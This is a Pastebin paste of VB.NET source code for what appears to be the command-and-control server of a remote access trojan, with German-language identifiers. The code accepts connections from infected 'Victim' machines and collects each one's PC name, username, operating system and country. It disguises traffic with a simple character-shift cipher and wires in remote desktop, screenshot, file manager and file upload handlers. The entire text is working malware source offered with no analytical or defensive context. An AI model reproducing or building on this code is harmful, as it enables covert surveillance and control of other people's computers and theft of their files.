Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Imports System.IO
- Imports System.Net.Sockets
- Imports System.Threading
- Public Class Server
- Dim MyTcpListener As TcpListener
- Public VictimListe As New List(Of Victim)
- Dim VictimID As Integer = 1
- Dim Port As Integer
- Public Event _VictimVerbunden(ByVal v As Victim)
- Public Event _VictimDisconnected(ByVal v As Victim)
- Public Event _NeuerScreenshotIstDa(ByVal VictimID As Integer, ByVal Screen As Image)
- Public Event _UploadFileFinish(ByVal VictimID As Integer)
- Public Sub Start(ByVal Port As Integer)
- Me.Port = Port
- Dim t As New Thread(AddressOf Listen)
- t.IsBackground = True
- t.Start()
- End Sub
- Private Sub Listen()
- Me.MyTcpListener = New TcpListener(System.Net.IPAddress.Any, Me.Port)
- Me.MyTcpListener.Start()
- While True
- Dim EingehendeVerbindung As TcpClient = Me.MyTcpListener.AcceptTcpClient
- Dim Str As StreamReader = New StreamReader(EingehendeVerbindung.GetStream)
- Dim ErsteZeile As String = Decrypt(Str.ReadLine)
- If ErsteZeile = "Victim" Then
- Dim v As New Victim
- v.VictimID = Me.VictimID
- v.Str = Str
- v.Start(EingehendeVerbindung)
- Me.VictimListe.Add(v)
- RaiseEvent _VictimVerbunden(v)
- AddHandler v._VictimDisconnect, AddressOf VictimDisconnected
- Me.VictimID += 1
- ElseIf ErsteZeile = "FileTransfer" Then
- Dim f As New FileTranfer
- f.Start(EingehendeVerbindung, Str)
- AddHandler f.NewScreenshot, AddressOf NeuerScreenshot
- AddHandler f.UploadFileFinish, AddressOf UploadfileFinish
- Else
- EingehendeVerbindung.Close()
- Str.Close()
- End If
- End While
- End Sub
- Private Function Decrypt(ByVal sText As String) As String
- Dim i As Long
- Dim rt As String = Nothing
- For i = 1 To Len(sText)
- rt = rt & Chr(Asc(Mid(sText, i, 1)) - 1)
- Next
- Return rt
- End Function
- Sub UploadfileFinish(ByVal VictimID As Integer)
- RaiseEvent _UploadFileFinish(VictimID)
- End Sub
- Sub NeuerScreenshot(ByVal id As Integer, ByVal screen As Image)
- RaiseEvent _NeuerScreenshotIstDa(id, screen)
- End Sub
- Sub VictimDisconnected(ByVal v As Victim)
- RaiseEvent _VictimDisconnected(v)
- End Sub
- End Class
- Public Class Victim
- Dim TcpClient As TcpClient
- Public Str As StreamReader
- Dim Stw As StreamWriter
- Public Litem As ListViewItem
- Public VictimID As Integer
- Public Verbunden As Boolean
- Public IP As String
- Public PcName As String
- Public Username As String
- Public System As String
- Public Country As String
- Public R As RemoteDesktop 'Remote Desktop Form
- Public F As File_Manager 'Filemanager Form
- Public Event _NeuerTextIstDa(ByVal sText As String)
- Public Event _VictimDisconnect(ByVal v As Victim)
- Public Sub Start(ByVal c As TcpClient)
- Me.TcpClient = c
- Me.Stw = New StreamWriter(Me.TcpClient.GetStream)
- Me.Verbunden = True
- Dim IPTeil() As String = Split(c.Client.RemoteEndPoint.ToString, ":")
- Me.IP = IPTeil(0)
- Me.PcName = Decrypt(Me.Str.ReadLine)
- Me.Username = Decrypt(Me.Str.ReadLine)
- Me.System = Decrypt(Me.Str.ReadLine)
- Me.Country = Decrypt(Me.Str.ReadLine)
- Dim t As New Thread(AddressOf TextEmpfangen)
- t.IsBackground = True
- t.Start()
- End Sub
- Private Sub TextEmpfangen()
- While Me.Verbunden = True
- Try
- Dim sText As String = Decrypt(Me.Str.ReadLine)
- RaiseEvent _NeuerTextIstDa(sText)
- Catch ex As Exception
- Me.Verbunden = False
- VictimDisconnected()
- End Try
- End While
- End Sub
- Public Sub TextSenden(ByVal sText As String)
- Try
- Me.Stw.WriteLine(Encrypt(sText))
- Me.Stw.Flush()
- Catch ex As Exception
- End Try
- End Sub
- Private Sub VictimDisconnected()
- Me.TcpClient.Close()
- Me.Str.Close()
- Me.Stw.Close()
- Me.Verbunden = False
- RaiseEvent _VictimDisconnect(Me)
- End Sub
- Private Function Decrypt(ByVal sText As String) As String
- Dim i As Long
- Dim rt As String = Nothing
- For i = 1 To Len(sText)
- rt = rt & Chr(Asc(Mid(sText, i, 1)) - 1)
- Next
- Return rt
- End Function
- Private Function Encrypt(ByVal sText As String) As String
- Dim i As Long
- Dim rt As String = Nothing
- For i = 1 To Len(sText)
- rt = rt & Chr(Asc(Mid(sText, i, 1)) + 1)
- Next
- Return rt
- End Function
- End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement